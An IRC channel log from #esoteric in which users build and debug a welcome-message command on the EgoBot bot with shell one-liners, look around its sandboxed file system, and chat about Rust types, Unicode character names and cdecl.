PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395150521 8481 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oerjan: cat | xargs < 1395150527 625100 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :er < 1395150529 24013 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :just xargs < 1395150531 233405 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :of course. < 1395150536 895149 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp welcome sh bash -c 'nick=$(xargs); [[ -z $nick ]] || echo -n "$nick: "; echo '\''Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)'\''' < 1395150537 215347 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395150546 532020 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!welcome Melvar < 1395150547 101786 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Melvar: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150548 792203 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome a b c < 1395150549 366177 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :a b c: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150557 985549 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that was simpler than the sed i was thinking of. < 1395150744 948839 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome sh echo "$(xargs -I@ echo '@: ')Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)" < 1395150745 163333 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​There is already an interpreter for welcome! < 1395150749 918561 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp welcome < 1395150750 176687 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395150764 331167 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome sh xargs -I@ echo -n '@: '; echo "Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)" < 1395150764 580772 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395150770 952107 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome < 1395150771 274479 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150775 91391 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome a b c < 1395150775 682509 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :a b c : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150779 69599 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh < 1395150790 314366 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :brilliant < 1395150793 156706 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp welcome < 1395150793 372481 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395150801 888197 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome sh xargs -d' ' -I@ echo -n '@: '; echo "Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)" < 1395150802 206605 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395150807 353027 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome a b c < 1395150808 88088 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :a: : b: : c: \ : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395150812 123592 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :... < 1395150819 692003 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :okay, I see < 1395150901 483744 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :getting closer < 1395151073 541344 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp welcome < 1395151073 774480 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome deleted. < 1395151099 536380 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome sh xargs printf "%s: "; echo "Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.)" < 1395151099 855472 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome installed. < 1395151104 543111 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome abc < 1395151105 85007 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :abc: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395151106 46063 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome abc def q < 1395151106 579812 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :abc: def: q: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395151118 600000 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :quite elegant, I think! < 1395151243 838248 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!info < 1395151244 50831 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ . Cheers and patches (preferably hg bundles) can be sent to Richards@codu.org , PayPal donations can be sent to AKAQuinn@hotmail.com , complaints can be sent to /dev/null < 1395151270 234947 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hmm. < 1395151275 937946 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp test sh c < 1395151276 191629 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​There is already an interpreter for test! < 1395151278 404869 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp test2 sh c < 1395151278 723347 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter test2 installed. < 1395151280 508942 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!test2 int main(){} < 1395151280 828206 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/tmp/input.22904: line 1: c: command not found < 1395151288 601422 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp test3 sh interps/c < 1395151288 709185 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter test3 installed. < 1395151290 400850 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!test3 {} < 1395151290 864513 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/tmp/input.22999: line 1: interps/c: No such file or directory < 1395151292 755786 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :meh. < 1395151301 63812 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp test3 < 1395151301 280043 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter test3 deleted. < 1395151301 742854 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp test2 < 1395151301 955537 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter test2 deleted. < 1395151303 599480 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh echo $PATH < 1395151303 918348 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/sbin:/usr/sbin:/bin:/usr/bin < 1395151309 162644 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh find / -name c < 1395151309 734238 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/usr/bin/find: `/': Function not implemented < 1395151315 54498 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh find . -name c < 1395151315 480651 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/usr/bin/find: `.': Function not implemented < 1395151318 624683 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ls < 1395151319 52273 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :interps \ lib \ slox < 1395151321 261711 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ls interps < 1395151321 689228 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :1l \ 2l \ Makefile \ adjust \ axo \ befunge \ bf_txtgen \ bfjoust \ boof \ c-intercal \ cat \ cfunge \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda \ whirl < 1395151384 814763 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ps < 1395151385 242295 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​\ \ Signal 18 (CONT) caught by ps (procps version 3.2.8). \ Please send bug reports to or < 1395151391 27651 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ps -o ppid= < 1395151391 560840 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​\ \ Signal 18 (CONT) caught by ps (procps version 3.2.8). \ Please send bug reports to or < 1395151394 981019 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :weird. < 1395151458 241978 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp tell sh xargs printf "%s: "; sed 's/.*# *//g' interps/$1 < 1395151458 428510 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter tell installed. < 1395151468 816991 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395151485 62016 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome2 tell welcome2;# Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395151485 274632 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome2 installed. < 1395151493 137940 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :oh < 1395151494 882079 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!delinterp welcome2 < 1395151495 96333 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome2 deleted. < 1395151500 653034 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!addinterp welcome2 sh interps/tell welcome2;# Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395151500 866622 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter welcome2 installed. < 1395151505 598073 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!welcome2 < 1395151506 64982 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/tmp/input.23597: line 1: interps/tell: No such file or directory < 1395151513 827608 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :whaaat. < 1395151516 934118 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!ls interps/tell < 1395151518 519872 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ls interps/tell < 1395151518 839227 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/bin/ls: cannot access interps/tell: No such file or directory < 1395151525 127008 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :ugh, I guess userinterps go elsewhere...? < 1395151529 661665 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ls lib < 1395151530 129591 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :dcc \ interp \ interp.orig < 1395151531 977029 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ls lib/inter < 1395151532 616279 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh ls lib/interp < 1395151532 767330 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/bin/ls: cannot access lib/inter: No such file or directory < 1395151533 124532 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :lib/interp < 1395151546 330395 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh interp tell q < 1395151546 650397 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/tmp/input.23847: line 1: interp: command not found < 1395151550 426701 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh lib/interp tell q < 1395151550 893233 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395151554 568773 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh lib/interp tellfsdfsdf < 1395151554 999498 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395151565 982870 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh lib/interp welcome < 1395151566 410201 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :No output. < 1395151571 438794 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :time to give up before oerjan +qs me < 1395151582 332679 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it would have been neat though. < 1395151585 338215 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :hackego learndb. < 1395151769 508719 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i thought hackego's file system was readonly, or something. < 1395151771 894684 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :er < 1395151774 431247 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*egobot < 1395151776 602983 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :well, you'd have to use addinterp < 1395151825 702615 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!sh ls < 1395151826 128979 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :interps \ lib \ slox < 1395151831 39985 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!sh ls lib < 1395151831 610470 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :dcc \ interp \ interp.orig < 1395151840 203364 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!sh ls lib/interp < 1395151840 732288 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :lib/interp < 1395151856 758255 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!sh ls -l lib/interp < 1395151857 330487 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​/bin/ls: lib/interp: Function not implemented \ -rw-r--r-- 1 5000 5000 1065 Dec 17 2011 lib/interp < 1395151867 894276 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hmph < 1395152997 366187 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Read error: Connection reset by peer < 1395153220 61482 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395153343 723143 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Client Quit < 1395153615 120488 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395154008 623727 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` < 1395154013 12813 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!! < 1395154074 651338 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!addinterp ! echo How exciting! < 1395154074 866081 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter _ installed. < 1395154077 280054 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!! < 1395154077 679421 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :How exciting! < 1395154669 41290 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395154814 850242 :impomatic!~chatzilla@87.112.13.30 QUIT :Read error: Connection reset by peer < 1395155549 231083 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :!sh cat lib/interp < 1395155550 117193 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​#!/bin/bash \ \ export I_CMD="$1" \ export I_ARG="$2" \ export ARG_FILE="/tmp/input.$$" \ export JAVA_ARGS="-Djava.security.manager" \ \ pola-nice() { \ mkdir -p /tmp/tmp.$$/tmp \ cp "$ARG_FILE" /tmp/tmp.$$"$ARG_FILE" \ pola-run -B -f=/lib64 -f=/etc/alternatives -f=lib -f=interps -f=/proc -f=/opt/ghc -tw /tmp /tmp/tmp.$$/tmp \ \ --prog=nice -a=-n10 \ \ -fa=slox/slox -a=25 \ \ -e < 1395155556 109036 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :okay. < 1395156308 20734 :Bike!~Glossina@67-5-254-249.ptld.qwest.net JOIN :#esoteric < 1395158394 427107 :Slereah_!~jackal@193.253.170.233 JOIN :#esoteric < 1395158613 415875 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395158763 259714 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :!sh wc lib/interp < 1395158764 393386 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :59 123 1065 lib/interp < 1395158790 868063 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 255 seconds < 1395158791 117228 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395160249 274375 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hallo < 1395160258 492888 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I have a place to live next year! < 1395160268 946745 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :oh aren't WE fancy < 1395160281 601010 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :new shiny cardbox? < 1395160326 626074 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1395160333 7340 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :On Windmill Lane < 1395160355 84784 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you have a cardbox? in my age we had to do with just a card < 1395160384 643412 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :oerjan, the government's providing me with a cardboard box which I have to start paying off at 10% interest once I'm earning 21K a year < 1395160386 775487 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :admittedly it was made of flintstone, not that fancy paper. < 1395160414 766339 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oerjan: a punched card, I presume? < 1395160429 536898 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh flintstone < 1395160446 215105 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :_and_ we had to punch it ourselves. < 1395160467 970719 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :with our bare hands. which we'd just evolved. < 1395160506 298880 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :did they have opposable thumbs? < 1395160520 203790 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :that's like the definition of hands, duh < 1395160731 659793 :password2!~password@197.78.156.95 JOIN :#esoteric < 1395161502 927383 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395161766 166655 :Bike!~Glossina@67-5-254-249.ptld.qwest.net QUIT :Ping timeout: 255 seconds < 1395161816 73185 :Bike!~Glossina@67-5-254-249.ptld.qwest.net JOIN :#esoteric < 1395162022 441385 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Taneb: Tilting at windmills, eh? < 1395162052 412396 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :One could say that < 1395162453 3922 :Slereah_!~jackal@193.253.170.233 QUIT :Read error: Connection reset by peer < 1395162486 389003 :Slereah_!~jackal@80.10.159.141 JOIN :#esoteric < 1395163498 763378 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :!addinterp test1 sed s/.$/&: /; s_$_hello world_ < 1395163498 970202 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter sed does not exist! < 1395163578 291041 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :!addinterp test1 sh sed -e 's/.$/&: /' -e 's_$_hello world_' < 1395163578 497111 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter test1 installed. < 1395163581 631953 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :!test1 < 1395163582 149209 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :hello world < 1395163585 525342 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :!test1 foo < 1395163586 80249 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :foo: hello world < 1395163589 168965 :Bike!~Glossina@67-5-254-249.ptld.qwest.net QUIT :Ping timeout: 246 seconds < 1395163590 446909 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :That works I guess < 1395163633 574077 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395163788 858850 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :!delinterp test1 < 1395163789 168841 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Interpreter test1 deleted. < 1395164362 133741 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :FireFly: doesn't work with multiple names < 1395164369 826813 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :xargs printf "%s: " does < 1395164381 104961 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :Yeah, I noticed that later < 1395164387 461788 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :the xargs version, I mean < 1395164798 361471 :Slereah__!~jackal@80.10.161.178 JOIN :#esoteric < 1395165025 310135 :Slereah_!~jackal@80.10.159.141 QUIT :Ping timeout: 240 seconds < 1395165241 739591 :chaiomanot!~chaiomano@75-121-39-142.dyn.centurytel.net JOIN :#esoteric < 1395165426 817851 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395165531 241388 :Bike_!~Glossina@67-5-254-249.ptld.qwest.net JOIN :#esoteric < 1395165559 298132 :Bike_!~Glossina@67-5-254-249.ptld.qwest.net NICK :Bike < 1395165888 615621 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :attn kmc: compiling-to-javascript now in use by javascript developers http://blog.angularjs.org/2014/03/angular-20.html < 1395165923 964419 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that kind of thing has been popular for a long time < 1395166777 358402 :password2!~password@197.78.156.95 QUIT :Ping timeout: 240 seconds < 1395170002 459658 :enigma!~enigma@c-68-39-86-173.hsd1.nj.comcast.net JOIN :#esoteric < 1395170029 91418 :enigma!~enigma@c-68-39-86-173.hsd1.nj.comcast.net PART :#esoteric < 1395170229 747015 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e NICK :scope < 1395170260 500418 :scope!myndzi@2600:3c00::f03c:91ff:fedf:3d4e NICK :myndzi < 1395170311 915353 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fn get_global_ptr() -> *mut Option<~~[~[u8]]> < 1395170345 219190 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :maybe of a pointer to a pointer to a vector of pointers to u8 vectors? < 1395170418 973165 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :function returning raw pointer (which you're allowed to mutate through) to maybe a pointer to a uniquely-owned box containing a pointer to a uniquely owned heap vector of pointers to uniquely owned heap vectors of u8 < 1395170630 116567 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :scary! < 1395170696 616897 :Bike!~Glossina@67-5-254-249.ptld.qwest.net PRIVMSG #esoteric :has someone written rustdecl explain yet < 1395170865 551964 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :~[T] is going away anyway < 1395171232 349958 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the HTML character entity with the longest name is ∳ < 1395171492 693016 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The Unicode character with the longest name is U+FBF9 ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM. < 1395171552 286224 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1395171602 91850 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Discounting the initial and final forms of said character, however, the second-longest is U+1F502 CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY, which also contains "clockwise". < 1395171616 253220 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you would think "counterclockwise" would be longer < 1395171640 475259 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Bike: actually the fact that ~T points to a box in the heap is something of an impl detail subject to change < 1395171649 907497 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the semantics of ~T and T are very close < 1395171651 833818 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Unicode uses the term ANTICLOCKWISE instead. < 1395171654 749614 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ok < 1395171666 309914 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It would, of course, still be longer, if it existed. < 1395171674 152083 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 246 seconds < 1395171718 365723 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Some systematic character set that is.) < 1395171789 648289 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(U+2233 ANTICLOCKWISE CONTOUR INTEGRAL is presumably what that HTML entity would map to.) < 1395171858 848115 :maurer!~maurer@MIMUNG.ECE.CMU.EDU JOIN :#esoteric < 1395172282 973033 :Melvar!~melvar@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :“= repeat one item over”, hence no anticlockwise counterpart. < 1395172462 729730 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :U+26D3 chAINS, U+2698 flowER, U+2693 anCHOR, U+22A9 forCES and U+22A7 moDELS are the longest Unicode character names that can occur as a combination of inventory letters in a NetHack prompt. < 1395172483 915218 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ACTION submits that for nerd pub trivia < 1395173692 760428 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395174099 192718 :ion!ion@heh.fi PRIVMSG #esoteric :CVE-2014-0133 http://nginx.org/download/patch.2014.spdy2.txt < 1395174388 719056 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Disconnected by services < 1395174454 334768 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395175848 942155 :MoALTz_!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395175933 431259 :MoALTz__!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395176021 125048 :MoALTz!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 246 seconds < 1395176126 38473 :MoALTz_!~no@user-46-112-127-158.play-internet.pl QUIT :Ping timeout: 246 seconds < 1395176148 171668 :MoALTz__!~no@user-46-112-127-158.play-internet.pl QUIT :Client Quit < 1395176159 335034 :MoALTz!~no@user-46-112-127-158.play-internet.pl JOIN :#esoteric < 1395176749 651978 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395177145 478298 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :cute < 1395179992 848428 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/IPcW cdecl pet peeve < 1395180026 101617 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :huh < 1395180134 363862 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The cdecl lexer defines a large number of really common words (incl. "array", "as", "func", "into", "member", "of", "pointer", "ptr", "ref", "ret", "set", "to", "vector") used by its commands and the "english" syntax to result to special tokens instead of "NAME", so the parser gets all confused. < 1395180156 285865 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I believe some cdecls are less bad, but this one's quite widespread. < 1395180175 985483 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :I built 